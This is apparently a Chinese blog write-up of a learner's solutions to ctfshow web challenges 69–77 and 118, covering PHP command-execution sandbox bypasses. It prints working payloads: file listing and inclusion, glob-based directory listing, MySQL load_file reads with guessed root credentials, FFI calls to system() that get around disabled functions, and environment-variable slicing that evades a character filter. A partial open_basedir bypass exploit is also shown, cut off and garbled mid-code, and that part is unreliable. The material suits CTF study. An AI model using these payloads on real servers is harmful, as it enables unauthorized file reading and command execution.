您当前的位置: 首页 > 

九枕

暂无认证

  • 2浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow学习记录-web入门(命令执行69-77&118)

九枕 发布时间:2022-06-27 14:00:00 ,浏览量:2

目录
    • web69-70
    • web71
    • web72
    • web73-74
    • web75-76
    • web77
    • web118

这一组题肝的很辛苦

web69-70

解答:根据反馈的错误可知highlight_file()被禁用,尝试之前的payload,var_dump被过滤。 c=var_export(scandir("/")); c=include("/flag.txt");

web71

解答:题目中给了index.php源码。 输出的所有的字母数字都会被打码(变成问号)

根据index.php源码,可以看到输出结果的字母和数字都被修改。 ob_get_contents():得到缓冲区的数据 ob_end_clean():会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容 那我们终止一下,让后面的匹配缓冲区不执行直接退出。

#payload:
c=var_export(scandir("/"));exit();
c=include("/flag.txt");exit();
# ob_end();结尾也可以终止
web72

解答:给源码了。 web71的payload不能使用。

不能访问/,访问路径被限制了,只能允许访问的是/var/www/html/。 也就是说,本题设置了open_basedir,将php所能打开的文件限制在指定的目录树中,包括文件本身。因为ini_set()也被限制了,所以open_basedir不能用ini_set重新设置绕过。 (附上一个用ini_set绕过open_basedir的脚本地址,本题不可用)

在这里插入图片描述 那看一下当前目录下有什么,发现了flag.php文件,这个flag.php没有任何实质的内容。题目的思路估计就是让直接去看根目录,确定flag的文件。 在这里插入图片描述 后续的做法,主要就是看wp提供的poc了。

题中给的hint中,提供了第一步的payload,就是获取flag存放的文件名。 c=?> 在这里插入图片描述 这里,细看一下payload这部分php代码的内容。

结尾来结束语句,但是eval里的?>不会闭合当前的php文件,所以当前php页面后续的语句都是会执行的。

可以看一下下面的图片,eval里的语句可以修改文件的变量值,但是?>并不会闭合外面的PHP语句。 在这里插入图片描述接下来是ctfshow 提供的这道题的poc(一个绕过安全目录的脚本):说是利用了 php的垃圾回收,代码啃了一部分后面实在啃不动了,涉及到偏移地址之类的,那些数值不知道具体指向。(以后再研究吧)

这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的。

a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address = 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 a);,我并不知道这个函数结束之后,到底带来了什么影响。或许可以在linux上搭建环境,加断点调试一下,但是这段时间主要以刷题为主,所以等以后再研究吧。

好了,以上就是我啃不动的全部过程,太惨了。。。。

web73-74

解答:第一步的payload可以用web72的那个glob协议获取flag文件的位置。 c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0); 在这里插入图片描述 web73也可以使用web71的c=var_export(scandir("/"));exit(0);,但是web74就不可以了,因为scandir被限制了。 在这里插入图片描述 web73flag在根目录flagc.txt,获取flag:c=include("/flagc.txt");exit(); 在这里插入图片描述 web74flag在根目录flagx.txt,获取flag:c=include("/flagx.txt");exit(); 在这里插入图片描述

web75-76

解答:还是利用上面payload,获取flag位置。flag在/flag36.txt里。web76是flag36d.txt。 c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);

本题设置了open_basedir,不能直接include包含了。 这里web72的安全目录绕过是不行了,估计是$abc获取到的值是长串A,原因我也不知道,如果能顺通那段脚本的原理,大概也就知道为什么这个不行了。

wp给的poc,可以直接获取flag。

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

接下来,具体分析一下这里面的语句。这里面最关键的问题在于数据库名字的怎么来的,用户名是固定的root,密码我们也可以勉强猜测是root。

PDO 为PHP访问数据库定义了一个轻量级的一致接口,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。new PDO($dsn, $user, $pass);

try {
	$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
	# 在MySQL中,load_file(完整路径)函数读取一个文件并将其内容作为字符串返回。
	foreach($dbh->query('select load_file("/flag36.txt")') as $row)
	{
		echo($row[0])."|"; 
	}
	$dbh = null;
}catch (PDOException $e) {
	echo $e->getMessage();exit(0);
}
exit(0);

翻了半天的wp,没有一个提供数据库名字怎么获取的,然后我又搞了一上午,找前面的试题进入,查看配置文件也没有相关信息,之后又用蚁剑连接,终于让我找到了能连接数据库的,简直了!!!打开web58,蚁剑连接。

(吐槽:真的,这个题的数据库名字找的太费劲了,我一度打算放弃。前面尝试了几个试题,因为限制太多,蚁剑就算连接了,也不能执行命令,更不用说连接数据库了。) 在这里插入图片描述 右击url,选择数据操作。配置列表–添加 在这里插入图片描述 配置数据库,数据库类型是mysqli。连接成功,出现了ctftraining。(数据库名称,看上面那个图) 在这里插入图片描述

太难了,真的太难了。。。=_=!!!

web77

解答:还是利用上面payload,获取flag位置。flag在/flag36x.txt里。同时根目录下还有readflag,看来需要调用readflag获取flag。 在这里插入图片描述 直接看题中的wp吧,前面的方式都已经进不去了,提供了一个适用于php7.4以上的payload:(这个方式成功绕过了对system函数的限制) c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); PHP7.4中FFI的介绍(代码示例) FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。 在这里插入图片描述

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显,所以将内容输出到1.txt
$ffi->system($a);//通过$ffi去调用system函数

访问1.txt获取flag。 在这里插入图片描述

web118

解答:输入信息,提示“evil input”非法输入。 输入A,不提示非法输入,输入a提示。那么是有过滤的字符,fuzz查看一下哪些字符可以用。burp抓包intruder爆破一下。 在这里插入图片描述设置一下payload,%00–%ff,下面为了看着方便,我把payload处理了一下,url解码了。 在这里插入图片描述 如果返回的结果出现很多503,可以调整一下线程时间和间隔。fuzz后,可以使用的是大写字母A-Z和#$+.:;?@_{}~,还有一堆特殊字符,就不再写上来了。 在这里插入图片描述 大写是可以用的,所以可以用环境变量构造命令执行。

PATH:在执行命令时,系统会按照PATH的设置,去每个PATH定义的路径下搜索执行文件,先搜索到的文件先执行。 PWD:查看”当前工作目录“的完整路径。

下面打印一下这些变量,看一下输出的内容。PATH变量输出的内容,最后的字母是n。 ${PATH:起始位置:长度} 在这里插入图片描述 在这里插入图片描述 所以{PATH:~A}可以获取字符n

我们知道网站根目录是/var/www/html,所以这就是当前页面所在位置,它的最后是字符l,可以用{PWD:~A}获取。

题目告知了flag in flag.php,可以利用问号?(问号可以匹配任意一个字符)去匹配flag.php。 最后的payload:${PATH:~A}${PWD:~A} ????.???

在这里插入图片描述

关注
打赏
1662624000
查看更多评论
立即登录/注册

微信扫码登录

0.0751s